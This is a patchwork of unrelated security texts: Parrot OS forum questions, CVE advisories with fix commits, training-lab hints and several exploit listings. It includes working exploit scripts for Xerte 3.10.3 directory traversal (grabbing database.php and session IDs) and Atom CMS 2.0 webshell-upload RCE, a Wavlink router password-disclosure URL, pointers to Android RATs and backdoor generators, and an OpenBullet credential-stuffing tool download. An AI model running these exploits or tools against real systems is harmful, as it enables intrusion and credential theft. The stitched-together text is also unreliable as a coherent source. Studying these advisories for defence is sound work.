Hi, I am using parrot os version 5.0 (Electro Ara) 64-bit and I am facing problems using preinstalled openvas.When I run gvm-check-setup it shows following error gvm-check-setup 21.4.3 Test completeness and readiness of GVM-21.4.3 Step 1: Checking OpenVAS (Scanner)… ERROR: No OpenVAS Scanner found. FIX: Please install OpenVAS Scanner. ERROR: Your GVM-21.4.3 installation is not yet complete! Please follow the instructions marked with FIX above and run this script again. Could someone help me fix this error.


Try harder

Someone here tried to get ip by VOIP, gotta know this is a VOIP nr he used from Minnesota while Parrot.org is not there and they would never call me. Additionally I use alias non existant VOIP nr’s and mails. In regard of that further analysis will follow up on that PoS… Screenshot at 2023-11-30 01-53-31 890×816 28.5 KB


Prototype Pollution in set-in

[Severity: CRITICAL]

The package set-in before 2.0.3 is vulnerable to Prototype Pollution via the `setIn` method, as it allows an attacker to merge object prototypes into it. **Note:** This vulnerability derives from an incomplete fix of [CVE-2020-28273](https://security.snyk.io/vuln/SNYK-JS-SETIN-1048049)


[Unknown] Electron CVE-2022-35954 Delimiter Injection Vulnerability in exportVariable

## Describe the summary:
The Electron Website provides a set of packages to make creating actions easier. The `core.exportVariable` function uses a well known delimiter that attackers can use to break out of that specific variable and assign values to other arbitrary variables. Workflows that write untrusted values to the `GITHUB_ENV` file may cause the path or other environment variables to be modified without the intention of the workflow or action author. Users should upgrade to `@actions/core v1.9.1`. If you are unable to upgrade the `@actions/core` package, you can modify your action to ensure that any user input does not contain the delimiter `_GitHubActionsFileCommandDelimeter_` before calling `core.exportVariable`.

## Impact

[CVE-2022-35954](https://afaghhosting.net/blog/cve-2022-35954/)
CWE-74
CWE-77
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N


You may like to have a look at these open-source RAT packages: GitHub GitHub - AhMyth/AhMyth-Android-RAT: Android Remote Administration Tool Android Remote Administration Tool. Contribute to AhMyth/AhMyth-Android-RAT development by creating an account on GitHub. GitHub GitHub - screetsec/TheFatRat: Thefatrat a massive exploiting tool : Easy tool... Thefatrat a massive exploiting tool : Easy tool to generate backdoor and easy tool to post exploitation attack like browser attack and etc . This tool compiles a malware with popular payload and th... Kali Linux Tutorials – 22 Mar 21 Rafel Rat : Android Rat Written In Java!Kalilinuxtutorials Rafel is Remote Access Tool Used to Control Victims Using WebPanel With More Advance Features. Main Features Admin Permission Add App To White List Looks Like Browser Runs In Background Even App is Closed(May not work on some Devices) Accessibility... Est. reading time: 1 minute


Hello, “Skills Assessment - Service Login” is connected with “Skills Assessment - Website”. So, the username is what you think. Furthermore, try to follow the hint of only use the first name (Ha***) to create password, use seed to only keep passwords which are compliant with the policy, and create the usernames with UsernameGenerator (here use fullname Ha*** Po****).


Xerte 3.10.3 - Directory Traversal (Authenticated)

# Exploit Title: Xerte 3.10.3 - Directory Traversal (Authenticated)
# Date: 05/03/2021
# Exploit Author: Rik Lutz
# Vendor Homepage: https://xerte.org.uk
# Software Link: https://github.com/thexerteproject/xerteonlinetoolkits/archive/refs/heads/3.9.zip
# Version: up until 3.10.3
# Tested on: Windows 10 XAMP
# CVE : CVE-2021-44665

# This PoC assumes guest login is enabled. Vulnerable url:
# https://<host>/getfile.php?file=<user-direcotry>/../../database.php
# You can find a userfiles-directory by creating a project and browsing the media menu.
# Create new project from template -> visit "Properties" (! symbol) -> Media and Quota -> Click file to download
# The userfiles-direcotry will be noted in the URL and/or when you download a file.
# They look like: <numbers>-<username>-<templatename>

import requests
import re

xerte_base_url = "http://127.0.0.1"
file_to_grab = "/../../database.php"
php_session_id = "" # If guest is not enabled, and you have a session ID. Put it here.

with requests.Session() as session:
    # Get a PHP session ID
    if not php_session_id:
        session.get(xerte_base_url)
    else:
        session.cookies.set("PHPSESSID", php_session_id)

    # Use a default template
    data = {
        'tutorialid': 'Nottingham',
        'templatename': 'Nottingham',
        'tutorialname': 'exploit',
        'folder_id': ''
    }

    # Create a new project in order to create a user-folder
    template_id = session.post(xerte_base_url + '/website_code/php/templates/new_template.php', data=data)

    # Find template ID
    data = {
        'template_id': re.findall('(\d+)', template_id.text)[0]
    }

    # Find the created user-direcotry:
    user_direcotry = session.post(xerte_base_url + '/website_code/php/properties/media_and_quota_template.php', data=data)
    user_direcotry = re.findall('USER-FILES\/([0-9]+-[a-z0-9]+-[a-zA-Z0-9_]+)', user_direcotry.text)[0]

    # Grab file
    result = session.get(xerte_base_url + '/getfile.php?file=' + user_direcotry + file_to_grab)
    print(result.text)
    print("|-- Used Variables: --|")
    print("PHP Session ID: " + session.cookies.get_dict()['PHPSESSID'])
    print("user direcotry: " + user_direcotry)
    print("Curl example:")
    print('curl --cookie "PHPSESSID=' + session.cookies.get_dict()['PHPSESSID'] + '" ' + xerte_base_url + '/getfile.php?file=' + user_direcotry + file_to_grab)


Bundler allows attacker to inject arbitrary code via secondary Gem source

[Severity: CRITICAL]

Bundler 1.x might allow remote attackers to inject arbitrary Ruby code into an application by leveraging a gem name collision on a secondary source.  NOTE: this might overlap CVE-2013-0334.


CVE: CVE-2022-1345

[{'lang': 'en', 'value': "Stored XSS viva .svg file upload in GitHub repository causefx/organizr prior to 2.1.1810. This allows attackers to execute malicious scripts in the user's browser and it can lead to session hijacking, sensitive data exposure, and worse."}]

Fix commit: added sanitizeUserString and sanitizeEmail functions
added sanitize to uploaded image names
added sanitize to tabs, categories, users and bookmarks
removed svg files from approved image lists


CVE: CVE-2021-3856

[{'lang': 'en', 'value': 'ClassLoaderTheme and ClasspathThemeResourceProviderFactory allows reading any file available as a resource to the classloader. By sending requests for theme resources with a relative path from an external HTTP client, the client will receive the content of random files if available.'}]

Fix commit: [KEYCLOAK-19422] ClassLoaderTheme and ClasspathThemeResourceProviderFactory allows reading any file available as a resource to the classloader


CVE: CVE-2022-23578

[{'lang': 'en', 'value': 'Tensorflow is an Open Source Machine Learning Framework. If a graph node is invalid, TensorFlow can leak memory in the implementation of `ImmutableExecutorState::Initialize`. Here, we set `item->kernel` to `nullptr` but it is a simple `OpKernel*` pointer so the memory that was previously allocated to it would leak. The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.'}]

Fix commit: Fix memory leak when a graph node is invalid.

If a graph node is invalid but a kernel is created then we set the kernel back to `nullptr` but we forget to delete it. Hence, we get a memory leak.

PiperOrigin-RevId: 408968108
Change-Id: I1d8a9d0d8988ed5e08be8b9f2004ce1b4cd11b7c


Have you found how to decode ? I’m approaching the same problem


Research Project Low-level attack on HTTP

Hi, I hope everyone is okay. I am doing a research project for my Bachelor of IT (honours) on Machine Learning for Cloud Security. I will be installing Oracle Virtualbox on my Macbook pro (32GB RAM, 1TB SSD, i7 Quad-Core). In addition, I will be using Kali Linux, an MS Windows Server 2019 as a Domain Controller, an MS-Windows Server as a Webserver with a website hosted on it. An MS Windows 10 machine as a Client workstation. There will be another MS Windows server to capture all the network traffic, primarily HTTP altogether; there will be four servers and one client machine. All of these machines will be installed and configured in the Oracle Virtualbox. Using the Kali Linux machine, I will perform a low-intensity DDoS attack on the HTTP protocol of the MS Windows webserver. The Kali machine will be on a separate network address as I want to show that the attacker is attacking from outside the network. Rest all the rest of servers will be on the same network address I want to perform a low-level intensity attack on the HTTP protocol. This attack will be made on the webserver. The standalone server will be part of the domain controller on which I want to capture network traffic. The reason for capturing network traffic is to run Support Vector Machine (SVM) on it for training and then run SVM for testing. Training can be one script, and testing can be another script. Now my query is How is it possible to perform an attack from one separate network to another different network resource? Is there any good tools or script to perform a low-level intensity attack on the HTTP protocol on an MS Windows webserver? The attack is performed on the webserver, and I want to capture network traffic on another standalone server. How it can be done, and which software or tools should I use.? I shall be highly grateful if someone can guide me in this. Thanks & Regard, Osama Faheem


No, it is not possible to determine who was included in the Bcc field of an email you received. Recipients who are included in the Bcc field are hidden from all other recipients of the email, including those in the "To:" and "Cc:" fields. The purpose of the Bcc field is to enable the sender to include recipients without disclosing their identities to others on the email thread. This can be useful for situations where the sender wants to send an email to multiple recipients, but does not want all of them to know who else received the message. If you were not included in the Bcc field of the email, there is no way for you to see who was included in that field.


Improper Restriction of XML External Entity Reference in Apache Solr

[Severity: HIGH]

The (1) UpdateRequestHandler for XSLT or (2) XPathEntityProcessor in Apache Solr before 4.1 allows remote attackers to have an unspecified impact via XML data containing an external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue, different vectors than CVE-2013-6407.


How to bypass Cloudflare and see real Hosting IP

I want to see some website more information, like real hosting IP/name. It’s been behind Cloudflare I tried tools from Github like Cloudmare/Cloudunflare which cannot figure out any information from that website. “Cloudfail” have some errors when I try to run python script on website. Is there any recon tool on parrot which I can try? Or any method which shows me more information about this website. (I don’t want to share website publicly, but could on PM if needed. It’s seems btw good secure website.


CVE: CVE-2022-23596

[{'lang': 'en', 'value': 'Junrar is an open source java RAR archive library. In affected versions A carefully crafted RAR archive can trigger an infinite loop while extracting said archive. The impact depends solely on how the application uses the library, and whether files can be provided by malignant users. The problem is patched in 7.4.1. There are no known workarounds and users are advised to upgrade as soon as possible.'}]

Fix commit: fix: invalid subheader type would throw npe and make the extract loop

closes #73


CVE: CVE-2022-1330

[{'lang': 'en', 'value': 'stored xss due to unsantized anchor url in GitHub repository alvarotrigo/fullpage.js prior to 4.0.4. stored xss .'}]

Fix commit: Merge pull request #4360 from ranjit-git/ranjit-git-patch-1

Ranjit git patch 1


Uh the MacBook Pro usually for stuff Windows X Server if anything “What are youre programs?” Open Server 10 Visual Studio Outlook Email Windows X Server Hackintosh — cofee 4 conversation but theres no almond


Wavlink WN530HG4 - Password Disclosure

# Exploit Title: Wavlink WN530HG4 - Password Disclosure
# Date: 2022-06-12
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: M30HG4.V5030.191116
# Vendor home page : wavlink.com
# Authentication Required: No
# CVE : CVE-2022-34047
# Tested on: Windows

# Exploit

view-source:http://IP_address/set_safety.shtml?r=52300
search for var syspasswd="
you will find the username and the password


CVE: CVE-2021-45933

[{'lang': 'en', 'value': 'wolfSSL wolfMQTT 1.9 has a heap-based buffer overflow (8 bytes) in MqttDecode_Publish (called from MqttClient_DecodePacket and MqttClient_HandlePacket).'}]

Fix commit: Fix wolfmqtt-fuzzer: Null-dereference WRITE in MqttProps_Free


I am also getting the VMWare-42 xx xx xx bunch of numbers if I get it from WMIC in command or get-wmiobject in powershell. Does anyone have any good advice on this?


CVE: CVE-2022-1544

[{'lang': 'en', 'value': 'Formula Injection/CSV Injection due to Improper Neutralization of Formula Elements in CSV File in GitHub repository luyadev/yii-helpers prior to 1.2.1. Successful exploitation can lead to impacts such as client-sided command injection, code execution, or remote ex-filtration of contained confidential data.'}]

Fix commit: Merge pull request #7 from luyadev/csv-sanitizer

Csv sanitizer


did you try to grep the output of the error.log file ??


The target is the one you get from “spawn target” in the Questions section. The Wireshark file offered in the ressources it’s only to get the image file, after that you spawn a target and connect to it USING no machine and realize an active scan from there. Check for a POST request there after a few minutes of scan.


CVE: CVE-2022-28796

[{'lang': 'en', 'value': 'jbd2_journal_wait_updates in fs/jbd2/transaction.c in the Linux kernel before 5.17.1 has a use-after-free caused by a transaction_t race condition.'}]

Fix commit: jbd2: fix use-after-free of transaction_t race

jbd2_journal_wait_updates() is called with j_state_lock held. But if
there is a commit in progress, then this transaction might get committed
and freed via jbd2_journal_commit_transaction() ->
jbd2_journal_free_transaction(), when we release j_state_lock.
So check for journal->j_running_transaction everytime we release and
acquire j_state_lock to avoid use-after-free issue.

Link: https://lore.kernel.org/r/948c2fed518ae739db6a8f7f83f1d58b504f87d0.1644497105.git.ritesh.list@gmail.com
Fixes: 4f98186848707f53 ("jbd2: refactor wait logic for transaction updates into a common function")
Cc: stable@kernel.org
Reported-and-tested-by: syzbot+afa2ca5171d93e44b348@syzkaller.appspotmail.com
Reviewed-by: Jan Kara <jack@suse.cz>
Signed-off-by: Ritesh Harjani <riteshh@linux.ibm.com>
Signed-off-by: Theodore Ts'o <tytso@mit.edu>


Just grabbed the last flag. Upgrading the shell is necessary for the last flag, I used a static solution mentioned in the previous link. Happy to help others if desired.


Bolt Cross-site Scripting via the slug, teaser or title parameters

[Severity: MEDIUM]

Bolt 3.6.4 has XSS via the slug, teaser, or title parameter to `editcontent/pages`, a related issue to CVE-2017-11128 and CVE-2018-19933.


OpenBullet 2 V0.2.4

300×177 9.31 KB Install the Microsoft .NET 6 (desktop apps version) from Download .NET 6.0 Download Link : Site Hunter OpenBullet 2 V0.2.4 VirusTotal: virustotal.com VirusTotal VirusTotal Password Unrar is 1


Atom CMS 2.0 - Remote Code Execution (RCE)

# Exploit Title: Atom CMS 2.0 - Remote Code Execution (RCE)
# Date: 22.03.2022
# Exploit Author: Ashish Koli (Shikari)
# Vendor Homepage: https://thedigitalcraft.com/
# Software Link: https://github.com/thedigicraft/Atom.CMS
# Version: 2.0
# Tested on: Ubuntu 20.04.3 LTS
# CVE: CVE-2022-25487

# Description
This script uploads webshell.php to the Atom CMS. An application will store that file in the uploads directory with a unique number which allows us to access Webshell.

# Usage : python3 exploit.py <IP> <Port> <atomcmspath>
# Example:  python3 exploit.py 127.0.0.1 80 /atom

# POC Exploit: https://youtu.be/qQrq-eEpswc
# Note: Crafted "Shell.txt" file is required for exploitation which is available on the below link:
# https://github.com/shikari00007/Atom-CMS-2.0---File-Upload-Remote-Code-Execution-Un-Authenticated-POC

'''
Description:
A file upload functionality in Atom CMS 2.0 allows any
non-privileged user to gain access to the host through the uploaded files,
which may result in remote code execution.
'''

#!/usr/bin/python3
'''
Import required modules:
'''
import sys
import requests
import json
import time
import urllib.parse
import struct
import re
import string
import linecache

proxies = {
   'http': 'http://localhost:8080',
   'https': 'https://localhost:8080',
}

'''
User Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
atomcmspath = sys.argv[3]

'''
Get cookie
'''
session = requests.Session()
link = 'http://' + target_ip + ':' + target_port + atomcmspath + '/admin'
response = session.get(link)
cookies_session = session.cookies.get_dict()
cookie = json.dumps(cookies_session)
cookie = cookie.replace('"}','')
cookie = cookie.replace('{"', '')
cookie = cookie.replace('"', '')
cookie = cookie.replace(" ", '')
cookie = cookie.replace(":", '=')

'''
Upload Webshell:
'''
# Construct Header:
header1 = {
    'Host': target_ip,
    'Accept': 'application/json',
    'Cache-Control': 'no-cache',
    'X-Requested-With': 'XMLHttpRequest',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36',
    'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryH7Ak5WhirAIQ8o1L',
    'Origin': 'http://' + target_ip,
    'Referer': 'http://' + target_ip + ':' + target_port + atomcmspath + '/admin/index.php?page=users&id=1',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'en-US,en;q=0.9',
    'Cookie': cookie,
    'Connection': 'close',

}

# loading Webshell payload:
path = 'shell.txt'
fp = open(path,'rb')
data= fp.read()

# Uploading Webshell:
link_upload = 'http://' + target_ip + ':' + target_port + atomcmspath + '/admin/uploads.php?id=1'
upload = requests.post(link_upload, headers=header1, data=data)

p=upload.text
x = re.sub("\s", "\n", p)
y = x.replace("1<br>Unknown", "null")
z = re.sub('[^0-9]', '', y)

'''
Finish:
'''
print('Uploaded Webshell to: http://' + target_ip + ':' + target_port + atomcmspath + '/uploads/' + z + '.php')
print('')


[Improper Synchronization] CVE-2023-28320: siglongjmp race condition

## Summary:
If the system has no POSIX or Windows threading support, `USE_ALARM_TIMEOUT` codepath will be used in `lib/hostip.c`. If two threads will perform DNS resolving, a wrong register context can be used on  the signal handler`siglongjmp` call if DNS timeout occurs. Typically this results in segmentation fault, but depending on platform specifics other impacts might be possible (but unlikely).

The documentation warns against this very issue in https://curl.se/libcurl/c/threadsafe.html `It is important that libcurl can find and use thread safe versions of these and other system calls, as otherwise it cannot function fully thread safe.` The issue is that there is no way for the application using libcurl to know if the library is MT safe for DNS resolution or not. `CURL_VERSION_THREADSAFE` is mentioned, but this checks availability of atomic init, not MT safety of DNS resolution.

A remote attacker in a privileged network position is able to selectively block the DNS responses and may thus induce the affected target application to crash.

## Steps To Reproduce:

  1. For quick testing on POSIX systems add `#define USE_ALARM_TIMEOUT` to `lib/hostip.c`, for example:
 ```
diff --git a/lib/hostip.c b/lib/hostip.c
index 2381290fd..0148f2861 100644
--- a/lib/hostip.c
+++ b/lib/hostip.c
@@ -75,6 +75,7 @@
 /* alarm-based timeouts can only be used with all the dependencies satisfied */
 #define USE_ALARM_TIMEOUT
 #endif
+#define USE_ALARM_TIMEOUT

 #define MAX_HOSTCACHE_LEN (255 + 7) /* max FQDN + colon + port number + zero */

 ```
  2. Compile libcurl
  3. Compile version of https://curl.se/libcurl/c/multithread.html but add `curl_easy_setopt(curl, CURLOPT_TIMEOUT, 2);` to  `pull_one_url` function.
  4. Change DNS config to point to blackhole DNS server at `3.219.212.117` (blackhole.webpagetest.org)
  5. Execute the compiled `multithread` and the application will segfault.

```
$ LD_LIBRARY_PATH=./lib/.libs:$LD_LIBRARY_PATH gdb ./multithread
GNU gdb (Debian 13.1-2) 13.1
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./multithread...
(No debugging symbols found in ./multithread)
(gdb) r
Starting program: /home/user/curl/multithread
/home/user/curl/multithread: ./lib/.libs/libcurl.so.4: no version information available (required by /home/user/curl/multithread)
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff6ffc6c0 (LWP 2733684)]
Thread 0, gets http://curl.haxx.se/
[New Thread 0x7ffff67fb6c0 (LWP 2733685)]
Thread 1, gets ftp://cool.haxx.se/
[New Thread 0x7ffff5ffa6c0 (LWP 2733686)]
[New Thread 0x7ffff57f96c0 (LWP 2733687)]
Thread 2, gets http://www.contactor.se/
[New Thread 0x7ffff4ff86c0 (LWP 2733688)]
[New Thread 0x7fffe77fe6c0 (LWP 2733690)]
[New Thread 0x7fffe7fff6c0 (LWP 2733689)]
Thread 3, gets www.haxx.se
[New Thread 0x7fffe6ffd6c0 (LWP 2733691)]

Thread 1 "multithread" received signal SIGSEGV, Segmentation fault.
0x00007ffff7f42b32 in Curl_failf () from ./lib/.libs/libcurl.so.4
(gdb) bt
#0  0x00007ffff7f42b32 in Curl_failf () from ./lib/.libs/libcurl.so.4
#1  0x00007ffff7f546dd in Curl_resolv_timeout () from ./lib/.libs/libcurl.so.4
#2  0x0000000000000000 in ?? ()
```

## Risk discussion
I don't consider this issue a major risk since it likely will affect only small percentage of target platforms. Some


CVE: CVE-2022-31101

[{'lang': 'en', 'value': "prestashop/blockwishlist is a prestashop extension which adds a block containing the customer's wishlists. In affected versions an authenticated customer can perform SQL injection. This issue is fixed in version 2.1.1. Users are advised to upgrade. There are no known workarounds for this issue."}]

Fix commit: Merge pull request from GHSA-2jx3-5j9v-prpp

Validate order by and order way


curl -s https://www.inlanefreight.com | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | wc -l Description: curl -s retrieves the HTML content of the webpage https://www.inlanefreight.com in a silent mode without showing progress meter or error messages. grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" searches for all the links within the HTML content of the webpage by matching the regular expression (http|https)://[a-zA-Z0-9./?=_-]* . This regular expression matches any string that starts with http:// or https:// followed by any combination of letters, digits, slashes, question marks, underscores, and dashes. sort -u sorts and removes any duplicate links from the output. wc -l counts the number of lines in the output, which represents the total number of unique links found on the webpage.


I didn’t understand. alternative web connection sir? You mean any internet connection to download drivers…